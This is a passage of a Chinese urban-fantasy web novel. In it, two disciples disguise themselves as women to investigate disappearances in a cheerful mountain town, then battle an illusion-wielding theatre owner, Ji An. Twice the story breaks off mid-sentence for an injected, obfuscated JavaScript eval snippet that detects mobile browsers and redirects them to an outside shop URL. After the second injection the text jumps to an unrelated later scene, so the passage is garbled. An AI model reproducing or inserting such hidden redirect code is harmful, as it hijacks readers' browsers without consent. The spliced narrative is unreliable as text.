宋听澜合上文件:“而且,所有失踪者里,女性比例更高。” 萧予在单人沙发上坐下,手指在扶手上轻轻敲击:“时聿,镇子的具体位置查清了吗?” “查了。”时聿报了个坐标,“离城七十公里,山里。进出只有一条路,很隐蔽。我白天去踩过点,镇子外围有能量屏障,不强,但能干扰探测。” “屏障性质?” “偏精神系。靠近会让人产生愉悦感,放松警惕。” 客厅里又是一阵沉默。 陆时忆先憋不住了:“那还等什么?直接杀过去啊,把人救出来!” “救谁?”沈言凉飕飕地问,“人都失踪了,生死不明。而且你觉得镇上那些人会承认?” “不承认就打进去……” “打进去然后呢?把人全抓了审问?你知道幕后是谁?有多少人?什么实力?” 陆时忆被问住了,张了张嘴,没说出话。 裴衍这时候睁开眼睛,慢悠悠地说:“得有人进去探路。外乡人,最好是女性。按失踪比例看,女性更容易被接纳。进去之后想办法摸清情况,找到失踪者,或者至少确定他们的下落。” 他说完,目光在客厅里扫了一圈。 江妤放下水壶:“我去。” “不行。”江淮年几乎是同时开口,语气斩钉截铁。 “哥——” “我说不行。”江淮年打断她,“太危险,你现在去等于自投罗网。” 江妤抿紧嘴唇:“那我也是最好的人选。我是女性,而且异能偏辅助,不容易引起怀疑。” “正因为你是女的才危险!”江淮年声音提高了些,“谁知道那鬼地方藏着什么?万一——” “没有万一。”江妤盯着他,“哥,我能保护自己。” “你——” “好了。”萧予开口,兄妹俩同时闭嘴,看向他。 萧予的目光在每个人脸上掠过,最后停在江淮年身上:“江妤不能去。她还有别的任务。” 江妤一愣:“什么任务?” “城东那片老街区,最近有异常能量波动,我需要你去调查。”萧予从文件堆里抽出一份地图,指着上面标记的红圈,“这片区域地形复杂,你的水系异能适合侦查。而且你的治愈能力,或许能帮到一些人。” 江妤沉默了几秒,点点头:“明白了。” 江淮年松了口气,但马上又想到什么:“那谁去小镇?总不能真让陆时忆去吧?他那张脸一看就不是女的。” 陆时忆:“……我谢谢你啊。” “我去。”沈言忽然说。 所有人都看向他。 沈言靠着楼梯扶手,表情很平静:“我的元素都能模拟水系辅助,应该不难。而且灵魂刚恢复,能量波动弱,不容易被察觉。” “不行。”顾肆从三楼晃悠下来,手里还拿着个啃了一半的苹果,“你灵魂刚稳定,再进去折腾,万一又出问题怎么办?” “总比让女生去冒险好。而且我战斗经验比你丰富。” “嘿——”顾肆挑眉,“沈师弟,跟师哥比经验?” “别吵。”萧予再次打断,“沈言说得有道理,但他一个人去太危险,需要搭档。” 他的目光落在江淮年身上。 江淮年心里一紧,有种不祥的预感。 “淮年,”萧予说,“你陪沈言去。” 江淮年:“……啥?” “你们俩配合最久,默契最好。而且你是双系,攻守兼备,真出意外也能顶一阵……” “但有个问题。” “什么问题?” “小镇明显更欢迎女性访客。你们俩,得扮成女的。” 客厅里死一般的寂静。 陆时忆第一个没忍住,“噗”一声笑出来。紧接着是顾肆,苹果差点呛气管里,咳得惊天动地。宋听澜用手背抵着嘴唇,肩膀微微颤抖。时聿的墨镜滑下来一点,露出一双难得有情绪的眼睛,写满了幸灾乐祸。 江淮年的脸绿了。 沈言的脸也绿了。 “师、师父,”江淮年声音发颤,“您开玩笑的吧?” “你看我像开玩笑吗?”萧予反问。 “……像。” “不像。”萧予站起来,走到江淮年面前,拍了拍他的肩膀,“为了救人,委屈一下。” 江淮年想死。 沈言也想死。 “我拒绝。”沈言硬邦邦地说。 “我也拒绝。”江淮年跟进。 萧予看看他俩,点点头:“行。那让陆时忆和裴衍去。” 陆时忆笑容僵在脸上:“啊?” 裴衍眼睛都没睁:“我不去。” “那就江淮年和沈言去。”萧予一锤定音。 “师父——” “明天出发。”萧予不给反驳的机会,“宋听澜,你负责给他们准备行头。时聿,你再去趟小镇外围,把地形图摸清楚。顾肆,你跟着江妤去城东,护着她。” 顾肆把苹果核精准扔进垃圾桶:“得令。” “裴衍,陆时忆,”萧予看向剩下俩人,“你们俩留守,随时接应。” 任务分配完毕,各回各屋。江淮年和沈言站在原地,像两尊被雷劈过的石像。 宋听澜走过来,推了推眼镜,镜片后的眼睛闪着奇异的光:“二位,需要我提供什么尺码?” 江淮年:“……” 沈言:“……” 当天晚上,宋听澜的效率高得吓人。他不知从哪儿弄来两套女装,还有配套的假发、化妆品…… 江淮年看着床上那堆东西,眼前发黑。 “宋师兄,”他抱着最后一丝希望,“其实我觉得我们可以用幻术……” “幻术容易被能量屏障识破。”宋听澜笑眯眯地打断他,“最安全的办法就是物理伪装。放心,我挑的款式都很保守,不会太暴露。” 江淮年看着那条淡粉色的连衣裙,裙摆还有蕾丝边,绝望地闭上了眼睛。 沈言那边也没好到哪儿去。宋听澜给他准备的是一条浅蓝色的连衣长裙,配白色针织开衫,看起来确实挺良家妇女。 沈言盯着那堆瓶瓶罐罐的化妆品,表情像要吃人。 “我不会化妆。”他说。 “我教你。”宋听澜笑得更温和了,“很简单的。” “我不——” “为了救人。”宋听澜轻飘飘一句话,堵死了沈言所有退路。 第二天一早,江淮年和沈言被拖进宋听澜房间。门一关,就是三个小时。 门外,陆时忆、顾肆、裴衍、时聿排排坐,等着看戏。江妤本来也该去城东,但她“正好”忘了东西,回来拿一趟。 三个小时后,门开了。 宋听澜先走出来,脸上带着满意的微笑。他侧身让开,做了个“请”的手势。 江淮年第一个出来。 他穿了那条淡粉色连衣裙,裙长到膝盖,领口有荷叶边,袖子是泡泡袖。假发是栗色的长卷发,宋听澜还给编了几缕辫子,别着小发卡。脸上化了淡妆,眉毛修细了,眼睛画了眼线,嘴唇涂了层粉嫩的唇彩。 他低着头,耳朵红得滴血,双手紧紧攥着裙摆,指节都发白。 客厅里安静了三秒,陆时忆“噗”一声,捂着肚子笑倒在地。顾肆手里的水杯差点摔了,他硬生生忍住,但肩膀抖得厉害。 裴衍睁开眼,看了江淮年三秒,然后又闭上了,嘴角明显抽了一下。 江淮年想死。 现在立刻马上。 接着沈言出来了。 浅蓝色连衣裙,白色开衫,假发是黑色的直发,齐肩长度,别在耳后。宋听澜给他画的妆更淡,几乎看不出来,只提了点气色。 沈言个子比江淮年高,骨架也明显,裙子穿在身上有点紧,尤其是肩膀。 他面无表情,但眼神如果能杀人,宋听澜已经死了八百回。 顾肆终于没忍住,笑出声了。 他走过去,绕着沈言转了一圈,啧啧称奇:“沈师弟,没想到你还有这天赋。” 沈言冷冷看着他:“闭嘴。” “挺好看的。”顾肆不怕死地补充,“真的,比江淮年好看。” 江淮年:“……顾肆,我***。” 江妤站在楼梯口,看着自家哥哥那副模样,想笑又不敢笑,憋得脸通红。她走过去,小声说:“哥,其实……挺适合你的。” 江淮年瞪她:“你再说?” 江妤赶紧闭嘴。 宋听澜拍拍手,把所有人的注意力拉回来:“行了,别笑了,说正事。衣服只是伪装,重点是进去之后怎么行动。” 他拿出时聿昨晚画的地形图,“小镇只有一条主路,两边是商铺和民居。失踪者最后出现的地点都在镇中心的悦来客栈,那是唯一接待外乡人的地方。你们去了直接住那里,别乱跑。” 江淮年和沈言点头。 “镇民白天正常活动,晚上八点后基本不出门。这个时间点要特别注意。时聿探测到能量屏障在晚上会增强,可能和镇民的作息有关。你们晚上尽量别出门,如果非要出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147708|195948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,一定要一起行动。” “明白。”沈言的声音有点闷。他还在努力适应这身裙子。 “武器带不了,能量波动太明显。”宋听澜递给他们两个小包,“里面是应急药品、通讯器、还有几个干扰器。干扰器能暂时屏蔽能量探测,但只有三分钟,慎用。” 江淮年接过包,塞进裙子附带的小挎包里。 “最后,”宋听澜看着他们,“记住,你们是表姐妹,来旅游的。江淮年,你叫江小年。沈言,你叫沈小言。身份是大学生,放暑假出来玩。背景故事背熟了吗?” “背熟了。”江淮年有气无力。 “好。”宋听澜退后一步,“出发吧。车在外面,司机会送你们到小镇附近,剩下的路你们自己走。保持通讯畅通,有情况立刻联系。” 江淮年和沈言对视一眼,都在对方眼里看到了视死如归。 两人一前一后走出别墅。江淮年穿着小皮鞋,走得磕磕绊绊。沈言稍微好点,但他个子高,裙子又紧,迈步都费劲。 上车前,江淮年回头看了一眼。别墅门口,陆时忆还在笑,顾肆抱着胳膊看热闹,时聿重新戴好了墨镜。 裴衍又睁眼了,正看着他,那眼神很复杂,江淮年看不懂,莫名觉得耳垂更烫了。 他赶紧钻进车里,沈言跟着进来。车门关上,隔绝了外面那些目光。 司机是个沉默的中年人,什么也没问,直接发动车子。 车子驶出市区,开上盘山公路。窗外景色从高楼变成树林,越来越荒凉。 江淮年靠在椅背上,看着窗外飞速后退的树影,忽然说:“我觉得我们像去送死。” 沈言正在调整假发,闻言瞥了他一眼:“怕了?” “怕。但我更怕穿这身衣服。” 沈言扯了扯嘴角,算是笑了。 车子开了两个小时,在一处岔路口停下。司机指了指左边那条小路:“顺着这条路走,三公里就到小镇入口。我只能送到这儿,再近会被发现。” 江淮年和沈言下车。小路很窄,两边都是密林,阳光透过树叶洒下来,斑斑驳驳的。 他们沿着小路往前走。江淮年的小皮鞋不太合脚,磨得脚后跟疼。沈言的高跟鞋更是灾难,走一步崴一步。 “我恨宋听澜。”沈言咬牙切齿。 “我也恨。”江淮年附和。 走了大概半小时,小路尽头出现了一座石拱门,门上刻着花体字:“欢迎来到完美小镇”。 门后,是那座传单上的小镇。 石板路,鲜花,笑容满面的行人。 一切都和传单上一模一样。 江淮年和沈言对视一眼,深吸一口气,迈步走了进去。 第一步踏入小镇的瞬间,江淮年感觉到一股温暖的能量拂过身体。很柔和,很舒适,像春天的风,他体内的冰火异能同时躁动了一下,发出警告。 这能量不对劲。 沈言显然也感觉到了,他微微皱眉,没说话。 一个穿着围裙的中年女人迎面走来,笑容热情得过分:“哎呀,新面孔!欢迎欢迎!是来旅游的吗?” 江淮年努力挤出个笑容,捏着嗓子说:“是的,我们是大学生,放假来玩。” 声音又细又软,他自己听着都想吐。 中年女人显然很受用:“好好好!我们小镇就欢迎年轻人!住哪儿定了吗?没定的话,去悦来客栈!老板娘人可好了!” “谢谢阿姨。”江淮年继续捏嗓子。 女人笑着走了,边走边哼歌。 沈言凑过来,压低声音:“能量屏障在影响情绪。她在被快乐。” 江淮年点头。他也感觉到了,那股温暖的能量在持续不断地渗透,让人不由自主地放松,想笑,想开心,很危险。 他们顺着石板路往前走,沿途遇到的每个镇民都笑容满面,热情地打招呼。卖花的姑娘非要送他们两束,卖面包的大叔硬塞给他们刚出炉的面包,连路边玩耍的小孩都跑过来,拉着他们的裙子叫“姐姐”。 一切都很完美,格外不真实。 悦来客栈在镇中心,是一栋三层木楼,门口挂着红灯笼。他们走进去,柜台后坐着个三十多岁的女人,正低头记账。听见脚步声,她抬起头,露出职业化的微笑:“欢迎光临。住宿吗?” “是的,两间房。” “抱歉,只剩一间了。大床房,可以吗?” 江淮年和沈言对视一眼。一间房也行,方便互相照应。 “可以。”沈言开口。 江淮年瞥了他一眼,沈言的声音稍微压一压,还真有点像女的。 老板娘递过来一把钥匙:“三楼,301。晚饭六点开始,在一楼餐厅。有什么需要随时叫我。” 他们接过钥匙上楼。楼梯是木制的,踩上去嘎吱响。三楼走廊很安静,只有他们俩的脚步声。 江淮年关上门,立刻把假发扯下来,长出一口气。 “憋死我了。” 沈言也扯了假发,揉了揉头皮:“这玩意儿戴着真难受。” 两人迅速检查房间。没有摄像头,没有窃听器,能量波动正常。窗户对着后院,能看到一片小花园。 “暂时安全。” 江淮年瘫在床上,盯着天花板:“接下来怎么办?” “等。”沈言坐进椅子里,“等天黑,等镇民下班,等能量屏障变化。” “你觉得失踪的人还活着吗?” 沈言沉默了几秒:“不知道。但如果他们还活着,一定被关在某个地方。这个小镇,绝对有问题。” 窗外传来欢快的歌声,是镇民在合唱。歌声悠扬,充满喜悦。 江淮年听着那歌声,心里却一阵阵发冷。 完美小镇,没有痛苦,没有悲伤,只有永恒的快乐。世上真有这种地方吗? 不可能。 他们来,就是要撕开这层“完美”的假面。 夜幕,很快就要降临了。 34.戏院 悦来客栈的夜晚静得诡异,白日里那些热情亢奋的欢笑与歌声,随着夕阳彻底沉入山脊,如同被一只无形的手骤然掐断。 江淮年趴在窗边,透过缝隙向外窥视。石板街道上空无一人,家家户户门窗紧闭,连一丝灯光都吝于泄露。 整座小镇浸在一种令人不安的黑暗里,只有镇子边缘那圈若有若无的能量屏障,在夜色中泛着暖黄色微光。 “能量浓度在上升。”沈言的声音从身后传来,压得很低。他坐在桌边,指尖凝聚着一小簇几乎看不见的微光,那是他混合系异能最基础的感知应用。“比白天至少强了三倍,而且情绪导向更明显了。纯粹的愉悦感在减弱,夹杂了某种强制性的安抚。” 江淮年收回视线,眉头拧紧。 他的冰火异能对能量波动不如沈言的混合系敏感,但皮肤表面持续细微的刺麻感骗不了人。 “客栈里其他人呢?那个老板娘,还有白天打招呼的那些镇民?” 沈言熄了指尖的光,起身走到另一面墙边,侧耳倾听。片刻后,他摇头:“呼吸声都在,但太均匀了,像被设定好的程序。没有梦呓,没有翻身,连咳嗽都没有。” 这不正常。绝对不正常。活人睡觉,怎么可能一点杂音都没有? “得出去看看。”江淮年直起身,开始动作麻利地把那顶栗色长卷发假发往头上套。裙子皱巴巴的,他也懒得整理,只把必要的小包挎好。宋听澜给的干扰器只有三分钟时效,必须用在刀刃上。 沈言快速整理好假发和裙装,黑发别在耳后,脸上那点淡妆在昏暗光线下几乎看不出来。“路线?” “老板娘提过,镇子西头有座老戏院,晚上偶尔有特别演出。”江淮年回忆着白天套来的零星信息,“她当时表情有点怪,像忌讳,又像期待。我们去那儿。” 两人悄无声息地溜出房间。木楼梯在脚下发出轻微的呻吟,在死寂的客栈里被放大。一楼柜台空着,老板娘不知去向。大门从内闩着,江淮年小心地拨开门闩,推开一条缝。 冷风灌进来,街道像一条被遗弃的灰色带子,延伸向深不可测的黑暗。两人闪身出门,将客栈的寂静重新关在身后。 没有月光。云层厚重,低低压着小镇。能量屏障发出的微弱黄光勉强勾勒出房屋轮廓,投下扭曲拉长的阴影。 他们贴着墙根移动,脚步放得极轻。沈言在前,混合系能量收敛到极致,只留下一丝用于探测前方。 江淮年殿后,冰火能量在掌心随时待命,一旦有变,他能立刻制造混乱争取脱身时间。走了约莫一刻钟,街道尽头出现一栋与众不同的建筑。 它比镇上的木屋石楼都要高大,飞檐翘角,黑瓦白墙,两盏褪色的红灯笼挂在门楣下,里面烛火未燃,黑洞洞地悬着。门楣上挂着一块匾额,漆皮剥落大半,依稀能辨出“如意戏院”四个字。 戏院的门虚掩着,里面透出一线微弱的烛光。 江淮年和沈言对视一眼。沈言微微点头,率先侧身从门缝滑了进去,江淮年紧随其后。 门内是一条甬道,两侧墙上挂着些模糊不清的旧戏装画片,颜料斑驳。空气里浮动着灰尘和旧木头的气味,还有一丝甜腻的熏香。甬道尽头垂着厚重的暗红色绒布帘子,那线烛光就是从帘子缝隙里漏出来的。 沈言停下脚步,做了个手势。有声音,从帘子后面传来。 模糊重叠的呢喃,听不真切,却让人头皮发麻。 江淮年指指帘子,用口型问:“进?” 沈言点头。他轻轻拨开帘子一角,向内窥视。 帘后是戏院正厅。空间比外面看起来更大,呈扇形向下延伸,摆着些陈旧的长条木凳,大多空着。正前方是戏台,台前燃着两排白色蜡烛,烛火跳跃,映得台上景象光怪陆离。 台上没有人唱戏。只有一个人影,背对着他们,站在戏台中央。 那人穿着月白色的长衫,身形修长,半长的头发松松束在脑后,露出的一截脖颈在烛光下白得晃眼。他面前似乎摆着什么,正微微俯身,动作轻柔,像是在侍弄花草,又像是在整理祭品。 那重叠的呢喃声正是从他面前传来。 那里似乎跪坐着许多人影,影影绰绰,在烛光照不到的暗处晃动。 沈言瞳孔微缩。他认出了其中几个人影的轮廓,与宋听澜给的失踪者资料照片,高度吻合。 江淮年也看到了,呼吸一滞。他按住沈言的手臂,示意稍安勿躁。现在冲出去,不仅救不了人,还可能打草惊蛇。 台上那人似乎察觉到了什么,动作停顿了一下。他缓缓直起身,没有回头,用温和的嗓音开口,声音清晰地在空旷的戏院里回荡:“既然来了,何不上来坐坐?躲躲藏藏,可不是客人之道。” 被发现了! 沈言和江淮年心中警铃大作。沈言当机立断,撤去伪装用的微弱水系能量模拟,微光在掌心隐现。江淮年也扯下假发,冰蓝与赤红两色能量蓄势待发。 既然藏不住,不如正面应对。 两人掀开帘子,走入正厅。烛光将他们的影子拉长,投在积满灰尘的地板上。戏台上那人终于转过身来。 三十多岁的样子,面容清隽,眉眼温和,嘴角噙着一丝若有若无的笑意。他穿着合体的长衫,衬得气质儒雅。然而那双眼睛,在摇曳烛光下,却幽深得像两口古井,映不出任何情绪。 他看着台下的两人,目光在他们身上那不合时宜的裙装上停留一瞬,笑意加深了些许。 “原来是两位姑娘。夜访戏院,可是为了听戏?” “听戏就不必了。”沈言开口,声音已恢复原本的样子,能量在周身隐隐流动,“我们是来找人的。台上那些,麻烦交还。” “交还?”那人轻轻重复,仿佛听到了什么有趣的词。他侧身,让开些许,烛光终于照亮了他身前那片区域。 戏台地板上,用暗红色的颜料画着一个令人眼花缭乱的巨大法阵。法阵中央,整整齐齐跪坐着十个人,双目紧闭,表情安详的诡异,嘴角甚至带着一丝满足的微笑。 他们正是失踪者,口中念念有词,发出之前听到的呢喃。 更诡异的是,他们每个人头顶,都悬浮着一缕雾气,雾气袅袅上升,汇入戏院上空一片朦胧的光晕中。 那光晕散发出与小镇能量屏障同源的愉悦与安抚气息。 “他们正在参与一场净化。剥离痛苦、悲伤、恐惧,这些无用且累赘的情绪。留下纯粹永恒的快乐。你们不觉得,这才是人类该有的完美状态吗?” “放屁!”江淮年的冰火能量在掌心嗡鸣,“把人弄成这副鬼样子,叫净化?你把他们怎么了?” “我?”那人微微歪头,笑容不变,“我只是这座戏院的院长,一个引导者。我叫季听。至于他们,他们自愿留在这里,追求永恒的幸福。你看,他们多安详。” 自愿?江淮年看着那些人空洞麻木的脸,一股寒意从脊椎窜起。这哪里是安详,分明是被彻底操控,失去了自我。 “少废话。”沈言上前一步,混合能量开始震荡,搅动周围的空气,“解开你的把戏,放人。否则——” “否则怎样?”季听打断他,语气依旧温和,却带上一丝玩味,“用你的混合系能量,炸了这座戏院?还是用你的冰火,把我和这些幸福的人一起冻结、烧毁?” 沈言心中警兆更甚,这个人,远比看上去危险。 “你们很有趣。”季听的目光在两人身上来回扫视,最后停留在江淮年脸上,“冰与火,矛盾又统一的强大力量。还有你,”他看向沈言,“几种基础元素的混合,罕见的天赋。你们不该被世俗的烦恼所困,不该体会痛苦和悲伤。留下吧,加入这场永恒的欢愉。我可以为你们保留一丝清醒的意识,让你们见证完美世界的诞生。” 他的话语带着一种奇异的蛊惑力,配合着周围弥漫的能量场,竟让人不由自主产生一丝动摇。那些跪坐着的人脸上幸福的笑容,此刻看来竟有几分诱人。 “别听他的!”沈言的能量在身前炸开一小片光晕,强行驱散了那无形的蛊惑。江淮年也一咬舌尖,剧痛让他瞬间清醒。 “看来你们选择了痛苦。”季听惋惜地叹了口气,那温和的表情如同面具般寸寸剥落,露出底下冰冷的实质。他抬起手,轻轻一挥。 戏台上跪坐的十个人,连同他们头顶的雾气,如同幻影般波动起来,随即无声无息地消散了,融入了周围的空气,融入了那无处不在的能量场。 “幻象?!”沈言失声道。他一直用能量感知锁定着那十个人,竟没发现任何异常。 “不仅是幻象。是你们希望看到的景象。你们想找到失踪者,于是看到了失踪者。很贴心,不是吗?” “重新认识一下,我叫季安,安宁的安。季听是我随便取的名字,不好听,还是季安好听一点。”他向前走了两步,站到戏台边缘,居高临下地看着台下如临大敌的两人。 “幻系异能,了解一下?变个样子,造个幻境,都是基本操作。” 江淮年和沈言此刻心中的震惊难以言喻。季听是季安?幻系异能?这种只存在于传闻中的罕见异能,竟然真的存在,并且如此诡异强大。 “你把那些人弄到哪里去了?”沈言强迫自己冷静下来,混合能量在周身形成一层薄薄的防御。 “他们啊,”季安漫不经心地玩着自己一缕头发,“在一个很快乐的地方做梦。等梦醒了,就会变成这完美小镇真正的一员,永远快乐,没有烦恼。不过——”他拖长语调,目光在两人身上转了转,“比起他们,我现在对你们更感兴趣。能识破我最初的情绪引导,能抵抗幸福幻象的召唤,你们的味道,一定很特别。” 话音未落,戏台周围的烛火骤然全部熄灭。整个戏院陷入一片绝对黑暗,连能量屏障的微光都被隔绝在外。 同时,无数细碎的声音从四面八方响起。 “小心!”沈言周身的能量爆开,照亮身周一小片区域。 只见黑暗中有无数棱角分明的碎片凭空凝聚,如同破碎的镜面,每一片都映出他们扭曲变形的脸和惊骇的表情。 这些碎片高速旋转着,从各个角度切割而来。 江淮年双手齐出,左手冰墙瞬间凝结,挡在身前,右手火球激射,撞向碎片最密集的区域。冰墙被碎片切割得冰屑纷飞,火球与碎片碰撞,炸开一蓬蓬刺眼的光。 碎片似乎无穷无尽,更可怕的是,它们切割空气发出的尖啸,直往脑子里钻,搅得人精神涣散。 黑暗中传来季安轻快的笑声:“真有意思。” 四周景象陡然变幻,碎片消失,黑暗褪去,取而代之的是炽热到扭曲的空气,脚下是滚烫龟裂的土地,空气中弥漫着浓重的血腥和焦糊味。 远处,他们的家在熊熊燃烧,江妤倒在血泊中,身体残缺,眼睛空洞地望着天空。 “不——!”江淮年目眦欲裂,冰火能量失控般暴走,朝着那些幻象中的敌人疯狂倾泻。 沈言也被幻境影响,他看到了更久远、更不愿回忆的场景,父母被影仆吞噬,黑暗,绝望,无能为力。混合能量在他体内横冲直撞,几乎要撕裂经脉。 幻境,幻境,都是假的,江淮年猛地咬破舌尖,剧痛和血腥味让他混乱的头脑有了一丝清醒。 他看见沈言双目赤红,周身能量紊乱,显然也陷在可怕的幻境中。而始作俑者季安,正站在燃烧的屋顶上,笑盈盈地看着他们,仿佛在欣赏一场绝妙的戏剧。 “你……该死!”江淮年从牙缝里挤出几个字,强行凝聚几乎溃散的异能,将冰火能量狠狠撞向脚下的大地。 “轰——!” 冰与火的极致冲突在地面炸开,恐怖的冲击波混合着极寒与炽热向四周疯狂席卷。 幻境像被重锤击中的玻璃,发出不堪重负的碎裂声。 燃烧的家、死去的妹妹、伙伴……所有景象寸寸碎裂、剥落,露出戏院原本黑暗的轮廓。 幻境被强行打破了,代价是江淮年近乎脱力,单膝跪地,大口喘息,嘴角溢出血丝。 沈言也摆脱了幻境,脸色惨白,混合能量黯淡了许多。 他看向戏台方向,季安依旧站在那里,只是脸上的笑容淡了些,带着点讶异。 “不错嘛,”季安拍了拍手,为这场精彩表演鼓掌,“居然能用这么暴力的方式破开心魇。不过,你们还剩多少力气呢?” 他话音落下,戏台周围再次凝聚出那些透明碎片,数量比之前更多,旋转速度更快。 不仅如此,碎片之间开始出现一道道模糊的人影,那些人影穿着镇民的服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他猛地从椅子上站起,手中瓜子撒了一地。戏台上所有烛火瞬间疯狂摇曳,那些破碎的镜片和幻象镇民如同潮水般向江淮年涌去,试图阻挡他的去路。 江淮年不顾身后袭来的攻击,将速度提升到极致,狠狠撞向那厚重的帷幕。 “嗤啦——!” 帷幕被撕裂。后方并非想象的墙壁或后台,只是一个小小的空间。 空间中央,悬浮着一颗不断变换着迷离光彩的水晶球。 水晶球下方,盘膝坐着一个身影。 正是季安。 这个季安与外面戏台上那个一模一样,只是双眼紧闭,脸色苍白,额角有细密的汗珠。 他双手虚托,维持着水晶球的运转。原来,戏台上那个谈笑风生,嗑瓜子看戏的季安,只是他用幻系异能制造出来以假乱真的分身,他的本体一直隐藏在这里,操控着整个幻境。 江淮年掌心凝聚的最后一点冰火能量毫不犹豫地拍向那颗水晶球,只要毁了这能量核心,幻境自破。 就在他手掌即将触碰到水晶球的瞬间,盘坐的季安本体骤然睁开了眼睛,瞳孔深处仿佛有万千景象流转生灭。 他没有去阻挡江淮年的攻击,反而对着江淮年露出一个与外面分身如出一辙的恶劣笑容。 “你确定,打碎它,幻境就会消失?”季安本体的声音直接响在江淮年脑海里,带着蛊惑的意味,“也许,它会‘砰’地一下,把你们所有人的意识,都拉进永恒的噩梦哦。” 江淮年的动作硬生生顿住。 他不知道季安说的是真是假,但不敢赌。 万一这水晶球是陷阱,是连接所有人精神的枢纽,打碎它,沈言、甚至那些失踪者的意识会不会一同破碎? 这一犹豫,给了季安喘息之机。戏台上那个分身瞬间消散,所有能量回流本体。盘坐的季安本体脸色以肉眼可见的速度恢复红润,他轻巧地起身,那颗变幻莫测的水晶球缩小,落入他掌心消失不见。 笼罩戏院的黑暗、碎片、幻象镇民如同退潮般迅速消散。 烛火重新燃起,照亮一片狼藉的戏院正厅。沈言半跪在地上,喘着粗气,混合能量几乎耗尽。江淮年站在破碎的帷幕前,与仅几步之遥的季安本体对峙。 “真可惜,”季安把玩着重新出现在指尖的一小块水晶碎片,惋惜地摇摇头,“差一点就被你们找到了破绽呢。不过,游戏到此为止了。” 他收起那副玩世不恭的表情,目光落在江淮年和沈言身上,带着评估和一丝不易察觉的兴味。 “你们两个,比我想象的更有意思。尤其是你,”他看向江淮年,“居然能察觉到镜花水月的能量核心波动。你的冰火异能,对能量变化的感知很敏锐嘛。” 江淮年没说话,只是死死盯着他,调动着体内近乎干涸的能量,准备做最后一搏。 季安却忽然笑了起来,那笑容又恢复了那种纯良无害的样子,仿佛刚才那个操控恐怖幻境,视人命如草芥的恶魔只是错觉。 “行了,不逗你们了。再打下去,你们真得死在这儿,那多没意思。”说完,他转身,朝着戏台后方更深的黑暗走去,边走边挥手:“那些失踪的人,我会送他们回去。不过记忆嘛,就得删一删了。毕竟,知道了太多快乐的秘密,就不快乐了,对吧?” 他的身影融入黑暗,声音也渐渐飘远。 “下次见面,希望你们能陪我玩点更有趣的游戏。至于现在……”他最后的声音带着恶劣的笑意,“晚安,两位勇敢的姑娘。” 戏院内,烛火摇曳了一下,彻底熄灭。 一片死寂,只有江淮年和沈言粗重的喘息声,在空旷的黑暗中回响。 许久,沈言哑着嗓子开口:“……他走了?” 江淮年感受着周围彻底平息的能量场,缓缓点头:“走了。” 紧绷的神经骤然松懈,两人几乎同时脱力,瘫坐在冰冷的地板上。 戏院外,小镇的能量屏障依旧散发着暖黄微光。那份完美的假象,已在今夜被撕开了一道血腥的口子。 江淮年撑着站起来,走到沈言身边,伸手把他拉起来。“先离开这里。” 沈言借力站起,两人互相搀扶着,踉跄地走出死寂的如意戏院。 35.单纯无辜美少年 天边刚泛起一丝鱼肚白,光线勉强驱散了小镇夜晚的怪异感。 他们溜回三楼房间,反锁房门,背靠着门板滑坐在地,劫后余生的虚脱感才排山倒海般涌上来。 江淮年手指颤抖着摸出宋听澜给的通讯器,他用力按下内侧的隐蔽按钮三次,几秒后,通讯器微微发热,传来宋听澜的声音:“江淮年?你们怎么样?信号源刚才剧烈波动,又突然中断了。” “宋师兄,”江淮年喘着气,尽量让声音平稳,“完美小镇……有问题。大问题。” 他简短快速地讲述了夜探戏院的经过:自称季听的戏院院长、诡异的能量场、失踪者被控制的幻象、可怕的心魇与镜花水月幻境、以及季听的真实名字是季安。 通讯器那头沉默了片刻,只有轻微的电流杂音。然后响起的是裴衍的声音:“位置?” “还在客栈,暂时安全。对方说三天后会放人,让我们别再靠近。”沈言接过话头,声音沙哑,“但他不可信。那是个疯子,目标绝不止是困住几个人。” “明白了。”裴衍的声音干脆利落,“原地休整,保持警惕,尽量别外出。我们立刻出发。师父那边,顾肆和江妤有其他任务,不会来。” “师父说,”宋听澜的声音再次响起,带着一丝无奈,“我们需要自己面对并解决这个级别的危机。这是成长的一部分。顾肆……师父的原话是,‘他到那儿一出手,你们还打什么’。” 江淮年几乎能想象顾肆听到这句话时那副挑眉撇嘴,不以为然又懒得反驳的臭屁样子。 他扯了扯嘴角:“知道了。我们会等你们。” 通讯中断。江淮年和沈言靠着门板,谁也没动。窗外的天色渐渐亮起来,小镇从沉睡中苏醒,石板路上重新响起脚步声、问候声、笑声,那份虚假的热闹透过窗户传进来,与昨夜戏院里的死寂和恐怖形成荒诞的对比。 他们强迫自己吃了点随身带的干粮,轮流休息,始终保持一人警戒。白天的小镇看起来平和依旧,那个热情的面包大叔又推着车出来了,脸上笑容灿烂,好像昨夜那个在幻境中僵硬扑向他们的镇民与他毫无关系。 一整天,戏院方向没有任何异常动静。 傍晚时分,陆时忆、裴衍、时聿、宋听澜四人抵达。他们绕到后山,由时聿潜行探查后,在距离小镇入口不远的一处隐蔽林地里汇合。 再次见到同伴,尤其是看到裴衍那张此刻异常清醒冷峻的脸,江淮年心头莫名安定了几分。沈言也松了口气,紧绷的神经稍有松弛。 宋听澜迅速给两人做了基础检查,递上恢复体力和异能的药剂。“能量透支严重,精神层面有被强制干涉的残留痕迹,没有不可逆损伤。你们描述的那种幻境强度,远超普通精神系异能者能达到的水平。这个季安对精神力和能量的操控手法非常古老,有点祭祀仪式的影子。” “祭祀?”陆时忆皱眉,“他用失踪者搞邪教仪式?” 